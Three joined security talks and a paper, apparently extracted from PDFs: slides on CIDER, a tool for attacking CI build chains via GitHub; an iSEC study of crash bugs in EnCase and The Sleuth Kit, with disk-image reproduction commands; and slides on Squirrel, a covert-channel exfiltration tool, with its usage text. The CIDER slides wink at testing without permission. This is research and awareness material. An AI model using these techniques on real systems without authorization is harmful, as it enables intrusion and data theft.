Real1World1Hax #2 GCLOUD sudo gloud compute+project-info+describe sudo gcloud compute+networks+create+testnetwork –mode+auto Introducing1CIDER What1is1CIDER? •Continuous+Integration+and+Deployment+ExploiteR What1is1CIDER? •Continuous+Integration+and+Deployment+ExploiteR • Framework+for+exploiting+and+attacking+CI+build+chains What1is1CIDER? •Continuous+Integration+and+Deployment+ExploiteR • Framework+for+exploiting+and+attacking+CI+build+chains • Mainly+leverages+GitHub+as+attack+surface+to+get+to+build+services What1is1CIDER? •Continuous+Integration+and+Deployment+ExploiteR • Framework+for+exploiting+and+attacking+CI+build+chains • Mainly+leverages+GitHub+as+attack+surface+to+get+to+build+services • Takes+the+mess+out+forking,+PR-ing,+callbacking What1is1CIDER? •Continuous+Integration+and+Deployment+ExploiteR • Framework+for+exploiting+and+attacking+CI+build+chains • Mainly+leverages+GitHub+as+attack+surface+to+get+to+build+services • Takes+the+mess+out+forking,+PR-ing,+callbacking • It+will+poison+a+handful+of+build+services+and+”exploits”+for+each+one Why1CIDER? • Fun • Make+attacking+easy • Awareness • RottenApple by+@claudijd • Facilitate+further+research CIDER1overview CIDER1– ‘help’ CIDER1– ‘add1target’1&1‘list1targets’ CIDER1– ‘load’1and1‘info’ CIDER1features • Node.JS • Build+modularly • Can+handle+bulk+lists+of+target+repos • Clean+up+for+GitHub+repo+craziness • Ngrok – because+port+forwarding+and+public+IPs+suck Ngrok Disclaimer • It+is+against+the+GitHub+user+agreement+to+test+against+a+repository,+ even+if+you+have+permission+from+the+owner+of+the+repo • You+must+be+the+owner+to+test+a+repo • When+testing+ask+them+to+make+you+an+owner WINK+WINK DEMO Limitations • Build+Queues • GitHub+Noise • Timeouts • Repo+API+request+throttling Just1the1beginning… • More+CI-Frameworks • Start+tackling+deployment+services • Start+exploring+other+entrypoints • Other+code+repositories • ChatOps (Slack) Thanks • LeanKit+Operations+Team • Evan+Snapp • @claudijd • Wife++ Fin CIDER+on+Github: https://github.com/spaceB0x/cider Twitter:+@spaceB0xx www.untamedtheory.com	pdf
Breaking Forensics Software: Weaknesses in Critical Evidence Collection Tim Newsham - <tim[at]isecpartners[dot]com> Chris Palmer - <chris[at]isecpartners[dot]com> Alex Stamos - <alex[at]isecpartners[dot]com> iSEC Partners, Inc 115 Sansome Street, Suite 1005 San Francisco, CA 94104 http://www.isecpartners.com July 1, 2007 Abstract This article presents speciﬁc vulnerabilities in common forensics tools that were not previously known to the public. It discusses security analysis techniques for ﬁnding vulnerabilities in forensic software, and suggests additional security-speciﬁc acceptance criteria for consumers of these products and their forensic output. Traditional testing of forensics software has focused on robustness against data hiding techniques and accurate reproduction of evidence. This article argues that more security focused testing, such as that performed against security-sensitive commercial software, is warranted when dealing with such critical products. Note: Due to the deadline for submitting presentation materials to Black Hat and the ongoing nature of our conversation with Guidance Software, we are unable to present in this revision of the paper all the details of the defects in EnCase that we found. By the time you read this, this version of the paper will be out of date and the canonical version may have the defect details. Please see https: // www. isecpartners. com/ blackhat to ﬁnd the most recent version of this paper as well as several of the tools we created during our research. 1 Introduction This article presents speciﬁc vulnerabilities in common forensics tools that were not previously known to the public, discusses techniques for ﬁnding vulnerabilities in forensic software, and recommends additional security-speciﬁc acceptance criteria buyers should apply. The primary contribution of this work is to take an adversarial look at forensics software and apply fuzzing and vulnerability assessment common to analysis of other products, such as operating systems or oﬃce suites, to forensic software. Two popular software packages for performing forensic investigations on computer evidence, Guidance EnCase and Brian Carrier’s The Sleuth Kit (TSK), are vulnerable to attack. The most common problems are “crashers”, that is, damaged data ﬁles, storage volumes, and ﬁlesystems which cause the software to crash before the forensic analyst can interpret the evidence. http://www.isecpartners.com 1/12 We performed some random and targeted fault injection testing against the two products and uncovered several bugs, including data hiding, crashes that result in denial of service, and inﬁnite loops that cause the program to become unresponsive. 2 Prior Art While blind fuzzing and targeted fault injection are not new techniques, there has not been much (public) research into the relatively small niche of forensics software. There is not much on EnCase or TSK in the Common Vulnerabilities and Exposures database1, for example. Searching on “encase” in the CVE search engine returns only one result (at the time of writing, 28 June 2007), http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1578 (“EnCase Forensic Edi- tion 4.18a does not support Device Conﬁguration Overlays (DCO), which allows attackers to hide information without detection”). Searching CVE for “sleuth” (http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword= sleuth) and “sleuthkit” (http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=sleuthkit) return 0 re- sults, and a searching on “sleuth kit” returns results containing the word “kit” but not “sleuth”. 3 Classes of Attacks Against Forensic Software Forensic software is especially diﬃcult to secure, yet must be especially robust against attack. It must acquire data from any type of device, in any format; it must parse, render, and search as many data formats as possible; and it must do all this with acceptable performance without sacriﬁcing correctness or accuracy — in the presence both of malicious tampering and of accidental faults in the evidence. In a forensic investigation, denial of service (DoS) vulnerabilities are no longer merely annoyances, but can impede the investigation, making evidence diﬃcult or impossible to examine. “Crasher” bugs (often the result of the overﬂow of buﬀers on the stack or heap) are sometimes exploitable, leading to a situation in which a maliciously crafted evidence ﬁle might allow an attacker to frustrate analysis or possibly execute code on the investigator’s workstation2. This may compromise the integrity of investigations performed on the machine (or allow a lawyer to argue the point). 3.1 Data Hiding The purpose of forensic software is to discover and analyze evidence stored on digital media. If the software fails to detect information on the medium for some reason, an attacker could exploit the weakness to hide evidence. For example, a data acquisition tool is vulnerable to a data hiding attack if it fails to acquire the host protected area of a hard disk. Note that we do not include cryptography as a data hiding attack because, while it may be uninter- pretable, encrypted information is still visible. Another type of data hiding attack is the “attack by tedium”: where there exist asymmetries such that an attacker can obfuscate data more easily than the forensic investigator can unobfuscate it, the eﬀect can 1http://cve.mitre.org/ 2To be clear, we have not found any code execution vulnerabilities. http://www.isecpartners.com 2/12 be similar to a steganographic attack. This method of attack is relatively weak since it relies on the usability aﬀordances of a particular forensic software kit. A determined investigator could defeat the attack by using multiple software kits or scripting the toolkit for automated evidence analysis, for example. 3.2 Code Execution, Evidence Corruption Code execution vulnerabilities result from particular implementation ﬂaws such as stack and heap over- ﬂows. Programming errors in native code may allow an attacker to specify data that overwrite control ﬂow information in the program and provide new code of the attacker’s choice to be executed in the context of the vulnerable process (including accessing ﬁles and the network). If an attacker succeeds in executing arbitrary code on the forensic workstation, such as by exploiting a buﬀer overﬂow in one of the data format parsers or renderers, he can — among a vast array of other things — cause the forensic image to become corrupted, hiding or destroying evidence. A subtle attack would be to cause the forensic toolkit not to alter the forensic image, but simply to ignore the evidence the attacker wishes to hide. There would be no obvious tip-oﬀ that an attack has occured, such as if the checksums of the evidence ﬁles changed, yet the toolkit would be instructed by the attacker never to reveal the incriminating evidence. All the usual “mundane” attacks are of course also possible, such as planting spyware or other malware on the forensic workstation. Bugs that allow an attacker to overwrite memory, even without arbitrary code execution, could also allow an attacker to spoil or hide evidence3. 3.3 Denial of Service, Blocking Analysis Denial of service vulnerabilities (when the program crashes or hangs) frustrate forensic analysis. If an attacker hides the incriminating evidence in a ﬁle that crashes the forensic software but does not crash the attacker’s own ﬁle viewer (and we observed many instances of this type of bug), the analyst must perform extra work to discover the evidence. If the analyst is diligent, the attack is a mere service downgrade (the analyst loses the rich search and parse functionality of their forensic tool). If the analyst is overworked, on a tight deadline, or lazy, they might miss important evidence. This might seem minor, but note that the sophisticated searching, parsing, key recovery, and ﬁle carving features are the entire reason forensic software toolkits exist as a distinct class of software. Forensic analysis can of course be done with nothing but a write-blocker and the standard Unix tools, but few professional analysts would be satisﬁed with such a limited toolbox. Until forensic toolkits become more robust, analysts may be in the dark without knowing it. 4 Techniques Used to Find Vulnerabilities Because one of the most obvious attack surfaces on forensic software is the ﬁlesystem metadata parsing code and the rich data ﬁle parsing and rendering code, we attacked it by generating fuzzed ﬁlesystems and 3We do not know of any such defects. http://www.isecpartners.com 3/12 data ﬁles. We also made attempts to hide data by making disks with many partitions, and deeply-nested archive ﬁles (TAR, ZIP, etc.). 4.1 Fuzzing Data Formats We did not need sophisticated fuzzing to discover many of the vulnerabilities. We used simple random fuzzing with no special provision for the particulars of any given data format. The fuzzer is instantiated with a random seed and provides a set of mutator functions; when fed source data, one of the mutators is chosen and invoked on the source. iSEC has a library of mutators that can • randomly choose a substring (of random length) of the source and replace it with a random string of the same size; • replace a random number of single bytes in the source with random bytes; • increment or decrement a random number of single bytes in the source; • replace a randomly-selected NUL byte or sequence of two NULs in the source with a given value of the same size; • replace the entire source with a random string of the same size; • overwrite 32-bit values in the source with some other given 32-bit value, advancing the replacement position on successive calls; • delete or insert a randomly-selected substring (of random size) from the source; and • randomly choose any two mutators and perform both mutations on the source. When fuzzing disk and volume images we did not use the mutators that change the size of the object, since ﬁlesystems are based on ﬁxed-size blocks with many structures expected to be aligned at particular oﬀsets. Perturbing a ﬁlesystem too drastically tends to cause implementations to reject it completely, with no chance of bug discovery. We fuzzed otherwise normal data ﬁles (JPEGs, PDFs, MS Word documents, etc.), volumes and parti- tions, and disk device images. Each successive fuzzing target also includes the previous targets, but also fuzzes more data: fuzzing partitions aﬀects ﬁlesystem metadata and ﬁle data; and fuzzing disks aﬀects par- tition metadata, ﬁlesystem metadata, and ﬁle data). We then performed appropriate tasks for the object with the forensic application: viewing and acquiring disks and volumes, viewing and searching ﬁles, etc. 4.2 Manual, Targeted Manipulation of Data Formats We also performed targeted, manual mangling of data formats, such as by creating directory loops in ﬁlesystems, creating loops in MBR partition tables, creating disk images with very many partitions, tweaking data objects in JPEG ﬁles that inﬂuence memory management, and so on. MBR partition tables. We wrote code to identify all of the MBR records and performed fuzzing on only those blocks. The fuzzing was again simplistic. The reason we did this was to increase the amount of mutations in each test case (since we can only test one disk at a time, whereas we can test many http://www.isecpartners.com 4/12 ﬁlesystems at a time, for example) without causing other issues (i.e. in the ﬁlesystem code) that might mask ﬁndings. Directory loops. We manually edited ext2fs and NTFS ﬁlesystems so that a directory became a child subdirectory in its own directory, and then analyzed the resulting image. Long ﬁle names. We generated ﬁlesystems with very long ﬁle names. These were created both inside a single directory and in a chain of deeply nested directories. Large directories. We generated ﬁlesystems with a directory containing large numbers of ﬁles. These were ﬁlled with ﬁles having really short names, medium length names and long ﬁlenames. Deeply nested directories. We generated ﬁlesystems with deeply nested directories. The directory names were very short and very long. 5 Defects Found in The Sleuth Kit Brian Carrier’s The Sleuth Kit (TSK) is a tool-oriented forensic software suite in the Unix tradition (although it does run on Windows in addition to Linux, Mac OS X, and other Unix variants). Individual programs with command-line interfaces each do one task — extracting inode metadata from a disk image, copying data referenced by an inode to a ﬁle — and to work together by reading and writing streams of text. It is implemented in C and tied together by a web interface implemented as Perl CGIs (Autopsy). In contrast to EnCase, TSK almost completely relegates evidence display to third-party software. TSK consists of 23 separate single-purpose programs, but we found vulnerabilities in only a few: ﬂs lists the ﬁle and directory names in a give ﬁlesystem image, including deleted ﬁles; fsstat displays the metadata for the ﬁlesystem, including inode numbers and mount times; icat copies ﬁles in the disk image by inode number (Unix ﬁlesystems) or MFT entry number (NTFS), as discovered and chosen by the investigator using e.g. the istat tool; and istat displays the metadata stored in an inode or MFT entry; Simple fuzzing raised several issues, and the inherent programmability of Unix-type tools allowed us to easily isolate the particular spot in damaged ﬁles that was causing the problem. In general it appears that the implementation is suﬃciently careful about keeping buﬀer writes in bounds, but it places too much trust in the data from the disk image when reading from buﬀers. Most issues involve out-of-bounds reads that can lead to incorrect data, or crashes. There were also some issues that may lead to denial of service. 5.1 Data Dereferenced After Free A crash can occur when processing a corrupted ext2fs image because the error processing code derefer- ences data after it frees it. In ext2fs.c: 1230 f o r (n = 0 ; length > 0 && n < inode−>d i r e c t c o u n t ; n++) { 1231 read b = e x t 2 f s f i l e w a l k d i r e c t ( fs , buf , length , 1232 inode−>d i r e c t a d d r [ n ] , f l a g s , action , ptr ) ; 1233 1234 i f ( read b == −1) { http://www.isecpartners.com 5/12 1235 f r e e ( buf ) ; 1236 d a t a b u f f r e e ( buf [ 0 ] ) ; 1237 return 1 ; 1238 } If read b is -1 (line 1234) then buf is freed (line 1235) before data in buf[0] is freed (line 1236). This leads to a crash on some systems. 5.1.1 Reproduction $ patch . py NtfsPart . dsk Bad . dsk 7616332 \x01 $ i c a t Bad . dsk 56−128−3 5.2 Corrupted NTFS image Causes icat to Run Indeﬁnitely icat runs virtually forever when run on some altered NTFS images. It appears that a 64-bit value was read oﬀ the disk and used as a byte count. We observed the following in gdb: #9 0 x080892ef in n t f s d a t a w a l k ( n t f s=0x80ee0c0 , inum=56, f s d a t a=0x80f0400 , f l a g s =0, a ct i o n=0x80a45d0 <i c a t a c t i o n >, ptr=0x0 ) at n t f s . c :1639 1639 r e t v a l = a ct i o n ( fs , addr , buf , b u f s i z e , myflags , ptr ) ; ( gdb ) p/x f s i z e \$3 = 0 x f f f f f f f f f f 8 e c d 4 2 ( gdb ) p/x fs dat a −>s i z e \$4 = 0x9342 ( gdb ) p/x fs dat a −>runlen \$5 = 0 x f f f f f f 0 6 0 0 0 0 9 2 0 0 5.2.1 Reproduction $ patch . py NtfsPart . dsk Bad . dsk 7616332 \x01 $ i c a t Bad . dsk 56−128−3 5.3 NTFS Image Causes icat to Crash icat crashes while processing a ﬁle on a corrupted NTFS ﬁlesystem image. The crash occurs when dereferencing fs data run at line 1570 of ntfs.c: 1543 /∗ c y c l e through the number of runs we have ∗/ 1544 while ( f s d a t a r u n ) { 1545 1546 /∗ We may get a FILLER entry at the beginning of the run 1547 ∗ i f we are p r o c e s s i n g a non−base f i l e record because 1548 ∗ t h i s \$DATA a t t r i b u t e could not be the f i r s t in the b i g g e r 1549 ∗ a t t r i b u t e . Therefore , do not e r r o r i f i t s t a r t s at 0 1550 ∗/ 1551 i f ( f s d a t a r u n −>f l a g s & FS DATA FILLER) { [ . . . code e l i d e d . . . ] 1564 } 1565 e l s e { 1566 f s d a t a r u n = f s d a t a r u n −>next ; 1567 } 1568 } 1569 1570 addr = f s d a t a r u n −>addr ; The check at line 1544 ensures that fs data run is non-NULL, however line 1566 updates the variable without returning to the check (with a continue) or performing the check again. This leads to a NULL dereference at line 1570. http://www.isecpartners.com 6/12 5.3.1 Reproduction $ patch . py NtfsPart . dsk Bad . dsk 7567157 AA $ i c a t Bad . dsk 8−128−1 5.4 NTFS Image Causes ﬂs to Crash (1) fls crashes while listing ﬁles from a corrupted image. The crash occurs when copying data in fs data put str. The calling code is in ntfs.c: 1778 /∗ Add t h i s r e s i d e n t stream to the f s i n o d e −>a t t r l i s t ∗/ 1779 f s i n o d e −>a t t r = 1780 f s d a t a p u t s t r ( f s i n o d e −>attr , name , type , 1781 getu16 ( fs −>endian , attr −>id ) , 1782 ( void ∗) ( ( u i n t p t r t ) a t t r + 1783 getu16 ( fs −>endian , 1784 attr −>c . r . s o f f ) ) , getu32 ( fs −>endian , 1785 attr −>c . r . s s i z e ) ) ; The read buﬀer is attr plus an arbitrary 16-bit oﬀset and the read length is an arbitrary 32-bit length. No bounds checking is performed to ensure that the buﬀer contains as many bytes as are requested. 5.4.1 Reproduction $ patch . py NtfsPart . dsk Bad . dsk 7652939 \x01 $ f l s −r l p Bad . dsk 5.5 NTFS Image Causes ﬂs to Crash (2) fls crashes while listing ﬁles from a corrupted image. The crash occurs at line 208 of ntfs dent.c while dereferencing idxe: 205 /∗ perform some s a n i t y checks on index b u f f e r head 206 ∗ and advance by 4−bytes i f i n v a l i d 207 ∗/ 208 i f ( ( getu48 ( fs −>endian , idxe−>f i l e r e f ) > fs −>last inum ) \| \| 209 ( getu48 ( fs −>endian , idxe−>f i l e r e f ) < fs −>f i r s t i n u m ) \| \| 210 ( getu16 ( fs −>endian , idxe−>i d x l e n ) <= getu16 ( fs −>endian , 211 idxe−>s t r l e n ) ) 212 \| \| ( getu16 ( fs −>endian , idxe−>i d x l e n ) % 4) 213 \| \| ( getu16 ( fs −>endian , idxe−>i d x l e n ) > s i z e ) ) { 214 idxe = ( n t f s i d x e n t r y ∗) ( ( u i n t p t r t ) idxe + 4) ; 215 continue ; 216 } This code is executed in a loop while walking a table and advancing idxe. The variable is initially in range, but is eventually moved out of range because the caller passes in a large size (line 735) which is an arbitrary 32-bit integer taken from the ﬁlesystem image. No bounds checking is performed to ensure that the value is in range. 734 r e t v a l = n t f s d e n t i d x e n t r y ( ntfs , dinfo , l i s t s e e n , idxe , 735 getu32 ( fs −>endian , 736 i d x e l i s t −>b u f o f f ) − 737 getu32 ( fs −>endian , i d x e l i s t −>b e g i n o f f ) , 738 getu32 ( fs −>endian , 739 i d x e l i s t −>e n d o f f ) − 740 getu32 ( fs −>endian , i d x e l i s t −>b e g i n o f f ) , f l a g s , action , ptr ) ; http://www.isecpartners.com 7/12 5.5.1 Reproduction $ patch . py NtfsPart . dsk Bad . dsk 7653298 d $ f l s −r l p Bad . dsk 5.6 NTFS Image Causes fsstat to Crash fstat crashes while processing a corrupted ﬁlesystem image. The crash happens when dereferencing sid in line 2714 of ntfs.c: 2703 unsigned i n t o w n e r o f f s e t = 2704 getu32 ( fs −>endian , sds−>s e l f r e l s e c d e s c . owner ) ; 2705 n t f s s i d ∗ s i d = 2706 ( n t f s s i d ∗) ( ( u i n t 8 t ∗) & sds−>s e l f r e l s e c d e s c + o w n e r o f f s e t ) ; 2707 2708 // ”1−” 2709 s i d s t r l e n += 2 ; 2710 // t s k f p r i n t f ( stderr , ” Revision : %i \n” , sid −>r e v i s i o n ) ; 2711 2712 // This check helps not p r o c e s s i n v a l i d data , which was noticed while t e s t i n g 2713 // a f a i l i n g harddrive 2714 i f ( sid −>r e v i s i o n == 1) { This variable is computed with an arbitrary 32-bit oﬀset (line 2704) from an existing buﬀer (line 2706) without any bounds checking. 5.6.1 Reproduction $ patch . py NtfsPart . dsk Bad . dsk 10667177 \x9b $ f s t a t Bad . dsk 5.7 NTFS Image Causes fsstat to Crash fstat crashes while processing a corrupted ﬁlesystem image. The crash happens while copying data from the sds variable (line 2831) in ntfs.c. Care is taken to ensure that no out of bounds reads occur with checks at line 2817. However, these checks are based on the oﬀset computed in terms of 32-bit values (line 2809) not in terms of bytes. The check assumes that the current offset is actually a byte count, which would be four times larger. 2808 while ( t o t a l b y t e s p r o c e s s e d < s d s b u f f e r −>s i z e ) { 2809 c u r r e n t o f f s e t = 2810 ( u i n t p t r t ∗) sds − ( u i n t p t r t ∗) s d s b u f f e r −>b u f f e r ; 2811 2812 o f f s e t = getu32 ( fs −>endian , sds−>e n t s i z e ) ; 2813 i f ( o f f s e t % 16) { 2814 o f f s e t = ( ( o f f s e t / 16) + 1) ∗ 16; 2815 } 2816 2817 i f ( ( o f f s e t != 0) && ( o f f s e t < ( s d s b u f f e r −>s i z e c u r r e n t o f f s e t ) ) 2818 && ( getu64 ( fs −>endian , sds−>f i l e o f f ) < s d s b u f f e r −>s i z e ) ) { 2819 2820 NTFS SDS ENTRY ∗ s d s e n t r y ; 2821 2822 i f ( ( s d s e n t r y = 2823 (NTFS SDS ENTRY ∗) mymalloc ( s i z e o f (NTFS SDS ENTRY) ) ) == 2824 NULL) { 2825 return 1 ; http://www.isecpartners.com 8/12 2826 } 2827 i f ( ( sds entry −>data = ( u i n t 8 t ∗) mymalloc ( o f f s e t ) ) == NULL) { 2828 f r e e ( s d s e n t r y ) ; 2829 return 1 ; 2830 } 2831 memcpy( sds entry −>data , sds , o f f s e t ) ; 5.7.1 Reproduction $ patch . py NtfsPart . dsk Bad . dsk 10666450 \x01 $ f s s t a t Bad . dsk 6 Defects Found in Guidance EnCase EnCase from Guidance Software is a very diﬀerent beast from TSK. It is Windows-only (with a Linux remote device acquisition component), features a complex GUI, and incorporates features for browsing, searching and displaying devices, ﬁlesystems, and data ﬁles. For programmability, it incorporates its own programming language, Enscript, that resembles C++ and Java. As with TSK, EnCase showed numerous defects with relatively simple fuzzing techniques, although we also created targeted, domain-speciﬁc faults in test data, such as carefully crafted partition tables and NTFS directory structures.4 We tested EnCase versions 6.2 and 6.5. 6.1 Note Due to the deadline for submitting presentation materials to Black Hat and the ongoing nature of our conversation with Guidance Software, we are unable to present in this revision of the paper all the details of the defects in EnCase that we found. By the time you read this, this version of the paper may be out of date and the canonical version may have the defect details. Please see https://www.isecpartners.com/ blackhat/ to ﬁnd the most recent version of this paper. We apologize for the inconvenience. 6.2 Disk Image With Corrupted MBR Partition Table Cannot Be Acquired EnCase cannot properly acquire disks with certain corrupted MBR partition tables. When running linen on a system with a disk with a carefully crafted partition table (including many partition table entries), linen won’t start up properly. If linen is started prior to corrupting the image, it will start up, but EnCase will hang indeﬁnitely while acquiring the image. (It is possible to cancel out of the linen import.) If a disk image is made and transferred to the EnCase workstation and acquired as a raw disk image, EnCase will hang indeﬁnitely while attempting to acquire the image. There is no way to cancel out of this process — the GUI becomes unresponsive. We have not identiﬁed the root cause of this issue, but it appears 4We noticed instances where EnCase’s remote acquisition tool for Linux, linen, could not process a corrupted disk image if linen was started up after the ﬁlesystem was corrupted. Since our primary goal was to test EnCase, not linen, we worked around these issues by running linen prior to corrupting a disk image without further analyzing the issues in linen. http://www.isecpartners.com 9/12 to be due to the overly large values in the 29th partition table entry. We were unable to reproduce this issue in similar situations with a small number of partitions. 6.3 Corrupted NTFS Filesystem Crashes EnCase During Acquisition EnCase crashes while acquiring certain corrupted NTFS partitions. The crash occurs when EnCase processes FILE records that contain a larger-than-expected oﬀset to update sequence value, causing it to read past the end of a buﬀer, resulting in a read access violation. Here is an example FILE record that causes the crash. 6.4 Corrupted Microsoft Exchange Database Crashes EnCase During Search and Analysis EnCase crashes while searching/analyzing a ﬁlesystem containing a corrupted Microsoft Exchange database, as seen in Figure ??. The crash occurs during the searching phase of an acquisition in which all Search, Hash and Signature Analysis options were enabled. The crash appears to be a read access violation with a bad value in eax that is dereferenced, but the exact value in eax appears to change every time (or at least very often). We have not determined the cause of or full implications of this problem. 6.5 Corrupted NTFS Filesystem Causes Memory Allocation Error EnCase reports memory allocation errors when acquiring corrupted NTFS images. The size of memory being allocated is under the control of the attacker. iSEC has not found any ill eﬀects caused by this error condition other than an error being displayed and corrupted records not being displayed. 6.6 EnCase and Linux Interpret NTFS Filesystems Diﬀerently EnCase and Linux appear to use diﬀerent NTFS metadata when parsing directory structures. We created an NTFS image with a directory loop in it by modifying an NTFS ﬁlesystem and replacing a directory entry for a ﬁle with a reference to the directory’s parent directory. When mounting this directory in Linux5, the modiﬁcation was as expected and a directory loop was present. When importing this image into EnCase, the loop was not present and the original ﬁle was still present in the directory — but EnCase did not make other ﬁles in the directory visible. This diﬀerence in behavior can be used by an attacker to hide data on a disk. An NTFS image can be constructed that has one interpretation on Linux and another in EnCase. We manually edited an NTFS image to create a directory loop. This directory loop was visible in Linux (when using the NTFS-3g driver) but to our surprise, EnCase did not see the edits we made. Instead it displayed the unedited ﬁle. This indicates that EnCase and Linux give diﬀerent interpretation to NTFS images, probably by using diﬀerent parts of the redundant information stored in the ﬁlesystem. An attacker could abuse this inconsistency to hide data that could only be viewed in Linux and not in EnCase. 5iSEC used the NTFS-3g Linux driver: http://www.ntfs-3g.org/. http://www.isecpartners.com 10/12 6.7 EnCase Crashes When Viewing Certain Deeply Nested Directories We created NTFS images with very deeply nested directories and observed that EnCase would crash in diﬀerent ways after the image was acquired when performing the Expand All action, or when manually expanding the subdirectory views in the ﬁle browsing GUI. Some of these crashes were caused when the program used a return address on the stack that had been overwritten. The values being written to the stack were small integers. While were able to manipulate the value of these integers to some degree, we were unable to exploit this ﬂaw for arbitrary code execution. 7 Conclusion We performed focused, shallow, and narrow testing of EnCase and The Sleuth Kit, yet immediately found security ﬂaws with simple attack tenchniques. We believe these vulnerabilities exist for several reasons: 1. Forensic software vendors are not paranoid enough. Vendors must operate under the assumption that their software is under concerted attack. After all, the software is often used to examine evidenced seized from suspected computer criminals and from computers suspected to have been compromised by an attacker — that is, the evidence has been under the control of someone capable and motivated to frustrate an investgation against them, or to attack again. 2. Vendors do not take advantage of the protections for native code that platforms provide, such as stack overﬂow protection, memory page protection (e.g. ensuring that the write bit is unset whenever the execute bit is set on a page), safe exception handling (speciﬁc to Microsoft C), et c. EnCase in particular is not designed to be run by a low-privilege user, ensuring that any successful code-execution attack runs with maximum privilege on the forensic workstation. The use of managed code eliminates many types of attack altogether. 3. Forensic software customers use insuﬃcient acceptance criteria when evaluating software packages. Criteria typically address only functional correctness during evidence acquisition (not analysis) when no attacker is present,6 yet forensic investigations are adversarial. Therefore, customers should pressure vendors to observe the practices in (2) and to perform negative testing against the product (discussed further below). 4. The software and methods for testing the quality of forensic software should be public. Carrier notes7 that suﬃcient public testing tools, results, and methodologies either don’t exist or are not public. Making these public will help customers know what they are getting and where they may be vulnerable, and may even raise the standard of testing and improve the quality of the software. 6see http://www.cftt.nist.gov/ and [1], speciﬁcally lines 43 – 46 (“The two critical measurable attributes of the digital source acquisition process are accuracy and completeness. Accuracy is a qualitative measure to determine if each bit of the acquisition is equal to the corresponding bit of the source. Completeness is a quantitative measure to determine if each accessible bit of the source is acquired.”) and 86 – 172. Although the NIST document focuses strictly on the acquisition of evidence, it is not enough to standardize only acquisition. Most forensic toolkits also include functionality for evidence analysis, and it is at the analysis stage where security, not just accuracy and completeness, is crucial. 7http://dftt.sourceforge.net/: “To ﬁll the gap between extensive tests from NIST and no public tests, I have been developing small test cases.” http://www.isecpartners.com 11/12 7.1 Future Work We have only scratched the broad attack surface of the products we investigated. We fuzzed and manipulated only some of the most common data types and only in simple ways — other data formats and more sophisticated attacks are likely to bring more defects to the surface. 7.2 Acknowledgements We thank the vendors, Guidance Software and Brian Carrier, for their fast and helpful responses to our issue reports. Thanks also go to Jesse Burns for his help in debugging software on Windows, and for original authorship of the mutation functions we used in fuzzing. References [1] http://www.cftt.nist.gov/DA-ATP-pc-01.pdf. 11 [2] http://dftt.sourceforge.net/. [3] http://www.seccuris.com/documents/papers/Seccuris-Antiforensics.pdf. [4] http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-foster-liu-update.pdf. [5] http://metasploit.com/projects/antiforensics/. [6] http://www.simson.net/clips/academic/2007.ICIW.AntiForensics.pdf. [7] B. Carrier. File system forensic analysis. Addison Wesley, 2005. http://www.isecpartners.com 12/12	pdf
Esoteric Exfiltration Willa Riggins Who Am I? Seriously, people. Does someone know? Cause I don’t. ● Senior Penetration Tester @ Veracode ● FamiLAB Member ● DC407 Point of Contact ● OWASP Orlando Marketing Coordinator ● BSides Orlando Social Media Lady ● @willasaywhat on Twitter Exfiltration 101 What Is It? “Data exfiltration is the unauthorized transfer of sensitive information from a target’s network to a location which a threat actor controls.”, Trend Micro Why Should You Care? ● Data loss costs time, money, and your sanity. ● Ever found a credential dump on pastebin? ● Come on, are we still reading the slides? ● If you didn’t care you wouldn’t be here. 82% Of those surveyed in 2012 from /r/netsec said that preventing exfiltration was important to the security of their information systems Covert Channels & Where to Find Them ● Mask traffic with normal usage patterns ○ Social media ○ Web traffic ○ Protocols used for day to day business ● Hide data in known “safe” payloads ○ Status updates ○ HTTP POST Payloads ● Stay quiet, within normal payload sizes ○ Throttle exfil chunks ○ Set payload sizes based on the channel used ○ Encode and/or encrypt chunks Esoteric Exfiltration Transport: Change the Channel ● Network Protocols ● 3rd Party Drops ● To the Airwaves Network Protocols: Data on the Wire ● The Obvious ○ HTTP ○ SSH ○ Netcat ○ DNS? ● The Discreet ○ Using normal protocols in abnormal ways 3rd Party Drops: Hide Yo Data ● The Obvious ○ Dropbox ○ OneDrive ○ Google Drive ○ Pastebin ● The Discreet ○ Flickr ○ Imgur ○ Twitter ○ Facebook To the Airwaves: Breaking Layer One ● The Obvious ○ Wifi Adapter on a Raspberry Pi ● The Discreet ○ Xbee 900mhz Long Range Mesh Network ○ Over Ham Radio (APRS) w/ Repeaters ○ Lasers, just, lasers Blue Team Says What? Defenses & Detection ● Block endpoints by URI/IP ● Block egress at the firewall by port/proto ● Detect anomalies in payload size and frequency ● Block USB devices by class or device-id (USB serial) Offensive Maneuvers ● Blacklists don’t work ● Disrupts normal business ● Context is critical, but difficult to automate ● USB Device IDs? Good luck with that. Weaponizing Squirrels Squirrel: Exfiltration for Nuts ● Python 2.7 based application ● Open Source; MIT License ● Extensible via simple module based plugins ● Upload and execute with CLI arguments willasaywhat:~/workspace (master) $ python -m squirrel usage: python -m squirrel [-h] [-c CHANNEL] [-r RECV] [-f FILENAME] [-s SETTINGS] [-v] Squirrel: Exfiltration for Nuts optional arguments: -h, --help show this help message and exit -c CHANNEL, --channel CHANNEL selects the channel to use -r RECV, --recv RECV tells squirrel to retrieve nuts -f FILENAME, --filename FILENAME selects the file to exfiltrate -s SETTINGS, --settings SETTINGS sets the settings dictionary for the channel. ex: -s '{"client_id": "value", "client_secret": "value"}' -v, --verbosity increase output velocity None Module Overview Squirrels steal nuts, get it? from abc import ABCMeta, abstractmethod, abstractproperty class Channel(object): __metaclass__ = ABCMeta _name = "Sample Channel Name" _description = "Sample Channel Description" _settings = {} _chunkSize = 0 # Size in bytes of the max chunk per send/recv def name(self): return self._name def description(self): return self._description def chunk_size(self): return self._chunkSize def __init__(self): pass @abstractmethod def send(self, chunks): pass @abstractmethod def recv(self): pass def get_settings(self): return self._settings def set_settings(self, value): self._settings = value _settings = abstractproperty(get_settings, set_settings) https://github.com/willasaywhat/squirrel Closing Remarks Future Work ● Additional Squirrel Modules: ○ Facebook Attachments, Flickr, FTP, SFTP, Telnet, Netcat, etc. ● Executable payload generation with PyInstaller ○ Msfvenom style payloads ● Metasploit Post Module ● Longer range hardware, more nodes, less physical space using Teensy. ● Integrate Cloakify DLP avoidance ciphers ● Customizable timing of send/recv Shoutouts Thank you, okay? Cool. <3	pdf
